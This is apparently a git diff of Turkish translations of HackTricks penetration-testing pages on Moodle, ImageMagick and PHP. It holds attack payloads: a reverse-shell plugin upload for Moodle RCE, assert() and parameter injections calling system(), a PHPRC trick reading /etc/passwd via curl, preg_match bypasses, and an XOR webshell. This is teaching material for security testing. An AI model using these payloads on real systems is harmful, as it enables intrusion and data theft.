ImageMagick, düzgün yapılandırılmadığı takdirde hizmet reddi saldırılarına karşı hassastır. Bu tür zafiyetleri önlemek için politikada açık kaynak sınırlamaları belirlemek gereklidir.
|
||||
|
||||
## Politika Parçalanması
|
||||
|
||||
@ -41,6 +41,6 @@ Bir güvenlik politikasının etkinliği, ImageMagick'te `identify -list policy`
|
||||
|
||||
## Referanslar
|
||||
|
||||
- [https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html\*\*](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html)
|
||||
- [https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -62,25 +62,25 @@ cmsmap http://moodle.example.com/<moodle_path>
|
||||
```
|
||||
### CVEs
|
||||
|
||||
Moodle sürümünü etkileyen güvenlik açıklarını bulmak için otomatik araçların oldukça **işe yaramaz** olduğunu gördüm. Bunları **kontrol** edebilirsiniz [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
|
||||
Moodle sürümünü etkileyen güvenlik açıklarını bulmak için otomatik araçların oldukça **işe yaramaz** olduğunu gördüm. Bunları [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle) adresinde **kontrol** edebilirsiniz.
|
||||
|
||||
## **RCE**
|
||||
|
||||
**Yönetici** rolüne sahip olmanız gerekiyor ve **"Site yönetimi"** sekmesinde **plugin'ler yükleyebilirsiniz**\*\*:\*\*
|
||||
**Yönetici** rolüne sahip olmanız gerekiyor ve **"Site yönetimi"** sekmesinde **eklentiler yükleyebilirsiniz**:
|
||||
|
||||
.png>)
|
||||
|
||||
Eğer yöneticiyseniz, bu **seçeneği etkinleştirmeniz** gerekebilir. Moodle ayrıcalık yükseltme PoC'sinde nasıl olduğunu görebilirsiniz: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
|
||||
Eğer yöneticiyseniz, bu **seçeneği etkinleştirmeniz** gerekebilir. Moodle ayrıcalık yükseltme PoC'de nasıl olduğunu görebilirsiniz: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
|
||||
|
||||
Sonra, klasik pentest-monkey php r**ev shell** içeren **aşağıdaki plugin'i yükleyebilirsiniz** (_yüklemeden önce sıkıştırmayı açmanız, revshell'in IP ve portunu değiştirmeniz ve tekrar sıkıştırmanız gerekiyor_)
|
||||
Sonra, klasik pentest-monkey php r**ev shell** içeren **aşağıdaki eklentiyi** yükleyebilirsiniz (_yüklemeden önce sıkıştırmayı açmanız, revshell'in IP ve portunu değiştirmeniz ve tekrar sıkıştırmanız gerekiyor_)
|
||||
|
||||
{{#file}}
|
||||
moodle-rce-plugin.zip
|
||||
{{#endfile}}
|
||||
|
||||
Ya da "cmd" parametresi ile normal bir PHP shell almak için [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE) adresindeki plugin'i kullanabilirsiniz.
|
||||
Ya da [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE) adresinden eklentiyi kullanarak "cmd" parametresi ile normal bir PHP shell alabilirsiniz.
|
||||
|
||||
Kötü niyetli plugin'i başlatmak için erişmeniz gereken yer:
|
||||
Kötü niyetli eklentiyi başlatmak için erişmeniz gereken yer:
|
||||
```bash
|
||||
http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
|
||||
```
|
||||
|
||||
@ -33,11 +33,11 @@ EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
|
||||
{{#endfile}}
|
||||
|
||||
- `"string" == 0 -> True` Sayı ile başlamayan bir dize, bir sayıya eşittir
|
||||
- `"0xAAAA" == "43690" -> True` Onaltılık veya ondalık formatta sayılardan oluşan dizeler, sayılar aynıysa diğer sayılar/dizelerle True sonucu ile karşılaştırılabilir (bir dizedeki sayılar sayı olarak yorumlanır)
|
||||
- `"0e3264578" == 0 --> True` "0e" ile başlayıp herhangi bir şeyle devam eden bir dize, 0'a eşit olacaktır
|
||||
- `"0X3264578" == 0X --> True` "0" ile başlayıp herhangi bir harfle (X herhangi bir harf olabilir) ve ardından herhangi bir şeyle devam eden bir dize, 0'a eşit olacaktır
|
||||
- `"0e12334" == "0" --> True` Bu çok ilginçtir çünkü bazı durumlarda "0" dizisinin girdiğini ve bununla karşılaştırılan bir içeriği kontrol edebilirsiniz. Bu nedenle, "0e" ile başlayan ve herhangi bir harf içermeyen bir hash oluşturacak bir değer sağlayabilirseniz, karşılaştırmayı atlayabilirsiniz. Bu formatta **zaten hashlenmiş dizeleri** burada bulabilirsiniz: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
- `"X" == 0 --> True` Bir dizedeki herhangi bir harf, int 0'a eşittir
|
||||
- `"0xAAAA" == "43690" -> True` Onaltılık veya ondalık formatta sayılardan oluşan dizeler, sayılar aynıysa diğer sayılar/dizeler ile True sonucu verecek şekilde karşılaştırılabilir (bir dizideki sayılar sayılar olarak yorumlanır)
|
||||
- `"0e3264578" == 0 --> True` "0e" ile başlayıp herhangi bir şeyle devam eden bir dize, 0'a eşittir
|
||||
- `"0X3264578" == 0X --> True` "0" ile başlayıp herhangi bir harfle (X herhangi bir harf olabilir) ve ardından herhangi bir şeyle devam eden bir dize, 0'a eşittir
|
||||
- `"0e12334" == "0" --> True` Bu çok ilginçtir çünkü bazı durumlarda "0" dizisinin girdi kontrolünü yapabilir ve bununla karşılaştırılan bir içeriği kontrol edebilirsiniz. Bu nedenle, "0e" ile başlayan ve herhangi bir harf içermeyen bir hash oluşturacak bir değer sağlayabilirseniz, karşılaştırmayı atlayabilirsiniz. Bu formatta **zaten hashlenmiş dizeleri** burada bulabilirsiniz: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
- `"X" == 0 --> True` Bir dizideki herhangi bir harf, int 0'a eşittir
|
||||
|
||||
Daha fazla bilgi için [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
||||
|
||||
@ -53,7 +53,7 @@ var_dump(in_array(0, $values, true));
|
||||
```
|
||||
### strcmp()/strcasecmp()
|
||||
|
||||
Eğer bu fonksiyon **herhangi bir kimlik doğrulama kontrolü** (şifre kontrolü gibi) için kullanılıyorsa ve kullanıcı karşılaştırmanın bir tarafını kontrol ediyorsa, şifre değeri olarak bir dizi yerine boş bir dizi gönderebilir (`https://example.com/login.php/?username=admin&password[]=`) ve bu kontrolü atlayabilir:
|
||||
Eğer bu fonksiyon **herhangi bir kimlik doğrulama kontrolü** için kullanılıyorsa (örneğin şifre kontrolü) ve kullanıcı karşılaştırmanın bir tarafını kontrol ediyorsa, şifre değeri olarak bir dize yerine boş bir dizi gönderebilir (`https://example.com/login.php/?username=admin&password[]=`) ve bu kontrolü atlayabilir:
|
||||
```php
|
||||
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
||||
// Real Password
|
||||
@ -64,17 +64,17 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
|
||||
|
||||
### Katı Tür Dönüşümü
|
||||
|
||||
`===` **kullanılıyor olsa bile**, **karşılaştırmayı zayıf hale getiren** hatalar olabilir. Örneğin, eğer karşılaştırma **karşılaştırmadan önce veriyi farklı bir nesne türüne dönüştürüyorsa**:
|
||||
`===` **kullanılıyor olsa bile**, **karşılaştırmayı** **tip dönüşümüne** **duyarlı** hale getiren hatalar olabilir. Örneğin, eğer karşılaştırma **karşılaştırmadan önce veriyi farklı bir nesne türüne dönüştürüyorsa**:
|
||||
```php
|
||||
(int) "1abc" === (int) "1xyz" //This will be true
|
||||
```
|
||||
### preg_match(/^.\*/)
|
||||
|
||||
**`preg_match()`** kullanıcı girişi **doğrulamak** için kullanılabilir (bu, **kullanıcı girişi** üzerinde herhangi bir **kelime/regex**'in **kara liste**'de olup olmadığını **kontrol eder** ve eğer yoksa, kod çalışmaya devam edebilir).
|
||||
**`preg_match()`** kullanıcı girişini **doğrulamak** için kullanılabilir (bu, **kullanıcı girişinde** herhangi bir **kelime/regex**'in **kara liste**'de olup olmadığını **kontrol eder** ve eğer yoksa, kodun çalışmasına devam etmesine izin verir).
|
||||
|
||||
#### Yeni satır atlatma
|
||||
|
||||
Ancak, regexp'in başlangıcını belirlerken `preg_match()` **kullanıcı girişinin sadece ilk satırını kontrol eder**, bu nedenle eğer bir şekilde girişi **birden fazla satırda** **gönderebilirseniz**, bu kontrolü atlatabilirsiniz. Örnek:
|
||||
Ancak, regexp'nin başlangıcını belirlerken `preg_match()` **yalnızca kullanıcı girişinin ilk satırını kontrol eder**, bu nedenle eğer bir şekilde girişi **birden fazla satırda** **gönderebilirseniz**, bu kontrolü atlatabilirsiniz. Örnek:
|
||||
```php
|
||||
$myinput="aaaaaaa
|
||||
11111111"; //Notice the new line
|
||||
@ -87,7 +87,7 @@ echo preg_match("/^.*1/",$myinput);
|
||||
echo preg_match("/^.*1.*$/",$myinput);
|
||||
//0 --> In this scenario preg_match DOESN'T find the char "1"
|
||||
```
|
||||
Bu kontrolü atlamak için **değerin yeni satırlarla urlencoded olarak gönderilmesi** (`%0A`) veya **JSON verisi** gönderebiliyorsanız, **birkaç satırda** göndermeniz gerekebilir:
|
||||
Bu kontrolü atlamak için **değerin yeni satırlarla urlencoded olarak gönderilmesini** (`%0A`) ya da **JSON verisi** gönderebiliyorsanız, **birkaç satırda** göndermeyi deneyebilirsiniz:
|
||||
```php
|
||||
{
|
||||
"cmd": "cat /etc/passwd"
|
||||
@ -98,7 +98,7 @@ Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ram
|
||||
#### **Uzunluk hatası atlatma**
|
||||
|
||||
(Bu atlatma, görünüşe göre PHP 5.2.5 üzerinde denendi ve PHP 7.3.15 üzerinde çalıştırmayı başaramadım)\
|
||||
Eğer `preg_match()`'e geçerli çok **büyük bir girdi** gönderebilirseniz, **işleyemeyecek** ve kontrolü **atlatabileceksiniz**. Örneğin, eğer bir JSON'u kara listeye alıyorsa, şunu gönderebilirsiniz:
|
||||
Eğer `preg_match()` fonksiyonuna geçerli çok **büyük bir girdi** gönderebilirseniz, **işleyemeyecek** ve kontrolü **atlatabileceksiniz**. Örneğin, eğer bir JSON'u kara listeye alıyorsa, şunu gönderebilirsiniz:
|
||||
```bash
|
||||
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||
```
|
||||
@ -112,15 +112,15 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
|
||||
|
||||
Kısacası, sorun `preg_*` fonksiyonlarının PHP'de [PCRE kütüphanesi](http://www.pcre.org/) üzerine inşa edilmesinden kaynaklanıyor. PCRE'de belirli düzenli ifadeler, çok sayıda özyinelemeli çağrı kullanılarak eşleştirilir, bu da çok fazla yığın alanı kullanır. İzin verilen özyineleme sayısı için bir sınır belirlemek mümkündür, ancak PHP'de bu sınır [varsayılan olarak 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) olup, bu yığın içinde sığacak olandan fazladır.
|
||||
|
||||
[Bu Stackoverflow başlığı](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) da bu konunun daha derinlemesine tartışıldığı gönderide bağlantılıydı. Görevimiz artık netti:\
|
||||
**Regex'in 100_000+ özyineleme yapmasını sağlayacak bir girdi gönderin, bu da SIGSEGV'ye neden olacak, `preg_match()` fonksiyonunun `false` döndürmesine neden olacak ve böylece uygulama girdimizin kötü niyetli olmadığını düşünecek, yükün sonunda `{system(<verybadcommand>)}` gibi bir sürpriz atarak SSTI --> RCE --> flag :) elde edeceğiz.**
|
||||
[Bu Stackoverflow başlığı](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) da bu konunun daha derinlemesine tartışıldığı gönderide bağlantılıydı. Görevimiz şimdi netti:\
|
||||
**Regex'in 100_000+ özyineleme yapmasını sağlayacak bir girdi gönderin, bu da SIGSEGV'ye neden olacak, `preg_match()` fonksiyonunun `false` döndürmesini sağlayacak ve böylece uygulamanın girdimizin kötü niyetli olmadığını düşünmesine neden olacak, yükün sonunda `{system(<verybadcommand>)}` gibi bir sürpriz atarak SSTI --> RCE --> flag :)**.
|
||||
|
||||
Aslında regex terimleriyle, 100k "özyineleme" yapmıyoruz, bunun yerine "geri izleme adımlarını" sayıyoruz, ki bu da [PHP belgelerinde](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) belirtildiği gibi `pcre.backtrack_limit` değişkeninde varsayılan olarak 1_000_000 (1M) olarak ayarlanmıştır.\
|
||||
Regex terimleriyle, aslında 100k "özyineleme" yapmıyoruz, bunun yerine "geri izleme adımlarını" sayıyoruz, ki bu da [PHP belgelerinde](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) belirtildiği gibi `pcre.backtrack_limit` değişkeninde varsayılan olarak 1_000_000 (1M) olarak ayarlanmıştır.\
|
||||
Buna ulaşmak için, `'X'*500_001` 1 milyon geri izleme adımına (500k ileri ve 500k geri) yol açacaktır:
|
||||
```python
|
||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||
```
|
||||
### PHP obfuscation için Tip Karıştırma
|
||||
### PHP obfuscation için Tip Dönüşümü
|
||||
```php
|
||||
$obfs = "1"; //string "1"
|
||||
$obfs++; //int 2
|
||||
@ -151,19 +151,19 @@ Kontrol et:
|
||||
../../../pentesting-web/file-inclusion/
|
||||
{{#endref}}
|
||||
|
||||
## Daha fazla hile
|
||||
## Daha Fazla Hile
|
||||
|
||||
- **register_globals**: **PHP < 4.1.1.1** veya yanlış yapılandırılmışsa, **register_globals** aktif olabilir (veya davranışları taklit ediliyor olabilir). Bu, $\_GET gibi global değişkenlerde bir değer varsa örneğin $\_GET\["param"]="1234", **$param** üzerinden erişebileceğiniz anlamına gelir. Bu nedenle, HTTP parametreleri göndererek kod içinde kullanılan değişkenleri **üzerine yazabilirsiniz**.
|
||||
- **register_globals**: **PHP < 4.1.1.1**'de veya yanlış yapılandırıldığında, **register_globals** aktif olabilir (veya davranışları taklit ediliyor olabilir). Bu, $\_GET gibi global değişkenlerde bir değer varsa örneğin $\_GET\["param"]="1234", **$param üzerinden erişebileceğiniz anlamına gelir. Bu nedenle, HTTP parametreleri göndererek, kod içinde kullanılan değişkenleri** üzerine yazabilirsiniz.
|
||||
- **Aynı alanın PHPSESSION çerezleri aynı yerde saklanır**, bu nedenle bir alanda **farklı çerezler farklı yollarla kullanılıyorsa**, bir yolun **diğer yolun çerezine erişmesini** sağlayabilirsiniz ve diğer yol çerezinin değerini ayarlayabilirsiniz.\
|
||||
Bu şekilde, eğer **her iki yol da aynı isimde bir değişkene erişiyorsa**, **o değişkenin path1'deki değeri path2'ye uygulanabilir**. Ve ardından path2, path1'in değişkenlerini geçerli olarak alacaktır (çereze path2'deki karşılık gelen ismi vererek).
|
||||
Bu şekilde, eğer **her iki yol da aynı isimde bir değişkene erişiyorsa**, **o değişkenin path1'deki değeri path2'ye uygulanabilir**. Ve ardından path2, path1'in değişkenlerini geçerli olarak alacaktır (çereze path2'de karşılık gelen ismi vererek).
|
||||
- Makinenin kullanıcılarının **kullanıcı adlarını** aldığınızda, php dizinlerinin etkin olup olmadığını görmek için adresi kontrol edin: **/\~\<USERNAME>**.
|
||||
- Eğer bir php yapılandırmasında **`register_argc_argv = On`** varsa, boşluklarla ayrılmış sorgu parametreleri **`array_keys($_SERVER['argv'])`** dizisini doldurmak için kullanılır, sanki **CLI'den gelen argümanlar** gibi. Bu ilginçtir çünkü eğer bu **ayar kapalıysa**, **args dizisinin değeri `Null`** olacaktır, çünkü ars dizisi doldurulmayacaktır. Bu nedenle, bir web sayfası, `if (empty($_SERVER['argv'])) {` gibi bir karşılaştırma ile web olarak mı yoksa CLI aracı olarak mı çalıştığını kontrol etmeye çalışırsa, bir saldırgan **GET isteğinde `?--configPath=/lalala` gibi parametreler gönderebilir** ve bunun CLI olarak çalıştığını düşünecek ve bu argümanları ayrıştırıp kullanabilir. Daha fazla bilgi için [orijinal yazıya](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms) bakın.
|
||||
- Eğer bir php yapılandırmasında **`register_argc_argv = On`** varsa, boşluklarla ayrılmış sorgu parametreleri **`array_keys($_SERVER['argv'])`** dizisini doldurmak için kullanılır, sanki **CLI'den gelen argümanlar gibi**. Bu ilginçtir çünkü eğer **bu ayar kapalıysa**, **args dizisinin değeri `Null`** olacaktır, çünkü ars dizisi doldurulmayacaktır. Bu nedenle, bir web sayfası, `if (empty($_SERVER['argv'])) {` gibi bir karşılaştırma ile web olarak mı yoksa CLI aracı olarak mı çalıştığını kontrol etmeye çalışırsa, bir saldırgan **GET isteğinde `?--configPath=/lalala` gibi parametreler gönderebilir** ve bunun CLI olarak çalıştığını düşünecek ve bu argümanları ayrıştırıp kullanabilir. Daha fazla bilgi için [orijinal yazıya](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms) bakın.
|
||||
- [**LFI ve RCE php sarmalayıcıları kullanarak**](../../../pentesting-web/file-inclusion/index.html)
|
||||
|
||||
### password_hash/password_verify
|
||||
|
||||
Bu fonksiyonlar genellikle PHP'de **şifrelerden hash oluşturmak** ve bir şifrenin bir hash ile karşılaştırıldığında doğru olup olmadığını **kontrol etmek** için kullanılır.\
|
||||
Desteklenen algoritmalar: `PASSWORD_DEFAULT` ve `PASSWORD_BCRYPT` ( `$2y$` ile başlar). **PASSWORD_DEFAULT genellikle PASSWORD_BCRYPT ile aynı olduğunu** unutmayın. Ve şu anda, **PASSWORD_BCRYPT**'in **girişte 72 baytlık bir boyut sınırlaması** vardır. Bu nedenle, bu algoritma ile 72 bayttan daha büyük bir şeyi hashlemeye çalıştığınızda yalnızca ilk 72B kullanılacaktır:
|
||||
Bu fonksiyonlar genellikle PHP'de **şifrelerden hash oluşturmak** ve bir hash ile karşılaştırıldığında bir şifrenin doğru olup olmadığını **kontrol etmek** için kullanılır.\
|
||||
Desteklenen algoritmalar: `PASSWORD_DEFAULT` ve `PASSWORD_BCRYPT` (başlar `$2y$`). **PASSWORD_DEFAULT genellikle PASSWORD_BCRYPT ile aynı olduğunu unutmayın.** Ve şu anda, **PASSWORD_BCRYPT**'in **girişte 72baytlık bir boyut sınırlaması** vardır. Bu nedenle, bu algoritma ile 72 bayttan daha büyük bir şeyi hashlemeye çalıştığınızda yalnızca ilk 72B kullanılacaktır:
|
||||
```php
|
||||
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
False
|
||||
@ -175,7 +175,7 @@ True
|
||||
|
||||
#### Başlıkları ayarladıktan sonra hata oluşturma
|
||||
|
||||
[**bu twitter dizisinde**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) 1000'den fazla GET parametresi veya 1000'den fazla POST parametresi veya 20 dosya gönderildiğinde, PHOP'un yanıtında başlıkları ayarlamayacağını görebilirsiniz.
|
||||
[**bu twitter dizisinde**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) 1000'den fazla GET parametresi veya 1000'den fazla POST parametresi veya 20 dosya gönderildiğinde, PHOP'un yanıtta başlıkları ayarlamayacağını görebilirsiniz.
|
||||
|
||||
Bu, örneğin CSP başlıklarının kodlarda ayarlanmasını atlatmaya olanak tanır:
|
||||
```php
|
||||
@ -224,12 +224,12 @@ Bu preg_replace seçeneği **PHP 5.5.0 itibarıyla kullanımdan kaldırılmışt
|
||||
```
|
||||
### **Assert() ile RCE**
|
||||
|
||||
php içindeki bu fonksiyon, **bir dizede yazılmış kodu çalıştırmanıza** olanak tanır ve **true veya false döndürür** (ve buna bağlı olarak yürütmeyi değiştirir). Genellikle kullanıcı değişkeni bir dize içinde ortada yer alır. Örneğin:\
|
||||
`assert("strpos($_GET['page']),'..') === false")` --> Bu durumda **RCE** elde etmek için şunları yapabilirsiniz:
|
||||
Bu php içindeki fonksiyon, **bir dize içinde yazılmış kodu çalıştırmanıza** olanak tanır ve **true veya false döndürür** (ve buna bağlı olarak yürütmeyi değiştirir). Genellikle kullanıcı değişkeni bir dize içinde ortada yer alır. Örneğin:\
|
||||
`assert("strpos($_GET['page']),'..') === false")` --> Bu durumda **RCE** elde etmek için şunu yapabilirsiniz:
|
||||
```
|
||||
?page=a','NeVeR') === false and system('ls') and strpos('a
|
||||
```
|
||||
Kod **sözdizimini** **bozmanız**, **payload**'ınızı **eklemeniz** ve sonra **tekrar düzeltmeniz** gerekecek. **"and" veya "%26%26" veya "|"** gibi **mantıksal işlemler** kullanabilirsiniz. "or", "||" çalışmaz çünkü ilk koşul doğruysa payload'ımız çalışmayacaktır. Aynı şekilde ";" de çalışmaz çünkü payload'ımız çalışmayacaktır.
|
||||
Kod **sözdizimini** **bozmanız**, **payload'unuzu** **eklemeniz** ve sonra **tekrar düzeltmeniz** gerekecek. **"and" veya "%26%26" veya "|"** gibi **mantıksal işlemler** kullanabilirsiniz. "or", "||" çalışmaz çünkü ilk koşul doğruysa payload'unuz çalışmayacaktır. Aynı şekilde ";" çalışmaz çünkü payload'unuz çalışmayacaktır.
|
||||
|
||||
**Diğer bir seçenek**, dizeye komutun yürütülmesini eklemektir: `'.highlight_file('.passwd').'`
|
||||
|
||||
@ -277,11 +277,11 @@ Farklı .htaccess shell'leri [burada](https://github.com/wireghoul/htshells) bul
|
||||
Eğer PHP'de **env değişkenlerini değiştirmeye** izin veren bir güvenlik açığı bulursanız (ve dosya yüklemeye izin veren başka bir güvenlik açığı, daha fazla araştırmayla belki bu aşılabilir), bu davranışı **RCE** elde etmek için kötüye kullanabilirsiniz.
|
||||
|
||||
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Bu env değişkeni, diğer ikili dosyaları çalıştırırken rastgele kütüphaneleri yüklemenize izin verir (bu durumda çalışmayabilir).
|
||||
- **`PHPRC`** : PHP'ye **konfigürasyon dosyasını nerede bulacağını** belirtir, genellikle `php.ini` olarak adlandırılır. Kendi konfigürasyon dosyanızı yükleyebilirseniz, o zaman `PHPRC`'yi ona işaret edecek şekilde kullanın. İkinci bir yüklenmiş dosyayı belirten bir **`auto_prepend_file`** girişi ekleyin. Bu ikinci dosya, PHP çalışma zamanı tarafından diğer kodlardan önce **çalıştırılan** normal **PHP kodunu** içerir.
|
||||
- **`PHPRC`** : PHP'ye **konfigürasyon dosyasını nerede bulacağını** belirtir, genellikle `php.ini` olarak adlandırılır. Kendi konfigürasyon dosyanızı yükleyebiliyorsanız, o zaman `PHPRC`'yi ona işaret edecek şekilde ayarlayın. İkinci yüklenen dosyayı belirten bir **`auto_prepend_file`** girişi ekleyin. Bu ikinci dosya, PHP çalışma zamanı tarafından diğer kodlardan önce **çalıştırılan** normal **PHP kodunu** içerir.
|
||||
1. Shell kodumuzu içeren bir PHP dosyası yükleyin.
|
||||
2. Adım 1'de yüklediğimiz dosyayı çalıştırması için PHP ön işleyicisine talimat veren bir **`auto_prepend_file`** direktifi içeren ikinci bir dosya yükleyin.
|
||||
3. `PHPRC` değişkenini adım 2'de yüklediğimiz dosyaya ayarlayın.
|
||||
- Bu zinciri nasıl çalıştıracağınız hakkında daha fazla bilgi [**orijinal rapordan**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/) edinebilirsiniz.
|
||||
- Bu zinciri nasıl çalıştıracağınız hakkında daha fazla bilgi [**orijinal rapordan**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/) alın.
|
||||
- **PHPRC** - başka bir seçenek
|
||||
- Eğer **dosya yükleyemiyorsanız**, FreeBSD'de **`stdin`**'i içeren "file" `/dev/fd/0` kullanabilirsiniz:
|
||||
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
||||
@ -291,7 +291,7 @@ Eğer PHP'de **env değişkenlerini değiştirmeye** izin veren bir güvenlik a
|
||||
|
||||
### XAMPP CGI RCE - CVE-2024-4577
|
||||
|
||||
Web sunucusu HTTP isteklerini ayrıştırır ve bunları `php.exe cgi.php foo=bar` gibi bir isteği çalıştıran bir PHP betiğine iletir, bu da bir parametre enjeksiyonuna izin verir. Bu, gövde içindeki PHP kodunu yüklemek için aşağıdaki parametreleri enjekte etmeye olanak tanır:
|
||||
Web sunucusu HTTP isteklerini ayrıştırır ve bunları `http://host/cgi.php?foo=bar` gibi bir isteği çalıştıran bir PHP betiğine iletir (`php.exe cgi.php foo=bar`), bu da bir parametre enjeksiyonuna izin verir. Bu, gövde içinden PHP kodunu yüklemek için aşağıdaki parametreleri enjekte etmeyi sağlar:
|
||||
```jsx
|
||||
-d allow_url_include=1 -d auto_prepend_file=php://input
|
||||
```
|
||||
@ -312,7 +312,7 @@ phpinfo();
|
||||
```
|
||||
## PHP Sanitizasyon atlatma & Brain Fuck
|
||||
|
||||
[**Bu yazıda**](https://blog.redteam-pentesting.de/2024/moodle-rce/) çok az karakterin izin verildiği bir brain fuck PHP kodu oluşturmak için harika fikirler bulmak mümkün.\
|
||||
[**Bu yazıda**](https://blog.redteam-pentesting.de/2024/moodle-rce/) çok az karakterin izin verildiği bir brain fuck PHP kodu oluşturmak için harika fikirler bulmak mümkündür.\
|
||||
Ayrıca, birkaç kontrolü atlatmalarını sağlayan fonksiyonları çalıştırmanın ilginç bir yolu da önerilmektedir:
|
||||
```php
|
||||
(1)->{system($_GET[chr(97)])}
|
||||
@ -327,9 +327,9 @@ $_COOKIE | if #This mea
|
||||
```
|
||||
Eğer bir PHP uygulamasını hata ayıklıyorsanız, hata yazdırmayı global olarak etkinleştirmek için `/etc/php5/apache2/php.ini` dosyasına `display_errors = On` ekleyebilir ve apache'yi yeniden başlatabilirsiniz: `sudo systemctl restart apache2`
|
||||
|
||||
### PHP kodunu deşifre etme
|
||||
### PHP kodunu deobfuscate etme
|
||||
|
||||
PHP kodunu deşifre etmek için **web**[ **www.unphp.net**](http://www.unphp.net) **kullanabilirsiniz.**
|
||||
PHP kodunu deobfuscate etmek için **web**[ **www.unphp.net**](http://www.unphp.net) **kullanabilirsiniz.**
|
||||
|
||||
## PHP Wrapper'ları ve Protokoller
|
||||
|
||||
@ -353,7 +353,7 @@ echo "$x ${Da}"; //Da Drums
|
||||
```
|
||||
## RCE kötüye kullanımı yeni $\_GET\["a"]\($\_GET\["b")
|
||||
|
||||
Eğer bir sayfada **rastgele bir sınıfın yeni bir nesnesini oluşturabiliyorsanız**, RCE elde etme şansınız olabilir, nasıl yapılacağını öğrenmek için aşağıdaki sayfayı kontrol edin:
|
||||
Eğer bir sayfada **rastgele bir sınıfın yeni bir nesnesini oluşturabiliyorsanız** RCE elde etme şansınız olabilir, nasıl yapılacağını öğrenmek için aşağıdaki sayfayı kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
|
||||
@ -376,14 +376,14 @@ $_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
|
||||
```
|
||||
### XOR kolay shell kodu
|
||||
|
||||
[**bu yazıya** ](https://mgp25.com/ctf/Web-challenge/)göre, aşağıdaki şekilde kolay bir shell kodu oluşturmak mümkündür:
|
||||
[**bu yazıya** ](https://mgp25.com/ctf/Web-challenge/)göre, aşağıdaki şekilde kolay bir shellcode oluşturmak mümkündür:
|
||||
```php
|
||||
$_="`{{{"^"?<>/"; // $_ = '_GET';
|
||||
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
||||
|
||||
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
|
||||
```
|
||||
Yani, eğer **rakamlar ve harfler olmadan rastgele PHP çalıştırabiliyorsanız**, aşağıdaki gibi bir istek göndererek o yükü kötüye kullanarak rastgele PHP çalıştırabilirsiniz:
|
||||
Yani, eğer **rakamlar ve harfler olmadan rastgele PHP çalıştırabiliyorsanız**, o zaman aşağıdaki gibi bir istek gönderebilirsiniz; bu yükü kullanarak rastgele PHP çalıştırmak için:
|
||||
```
|
||||
POST: /action.php?_=system&__=cat+flag.php
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
@ -412,7 +412,7 @@ lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
|
||||
```php
|
||||
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
|
||||
```
|
||||
### Perl benzeri
|
||||
### Perl gibi
|
||||
```php
|
||||
<?php
|
||||
$_=[];
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# PHP - Kullanışlı Fonksiyonlar & disable_functions/open_basedir atlatma
|
||||
# PHP - Kullanışlı Fonksiyonlar & disable_functions/open_basedir bypass
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
### PHP Komut Çalıştırma
|
||||
|
||||
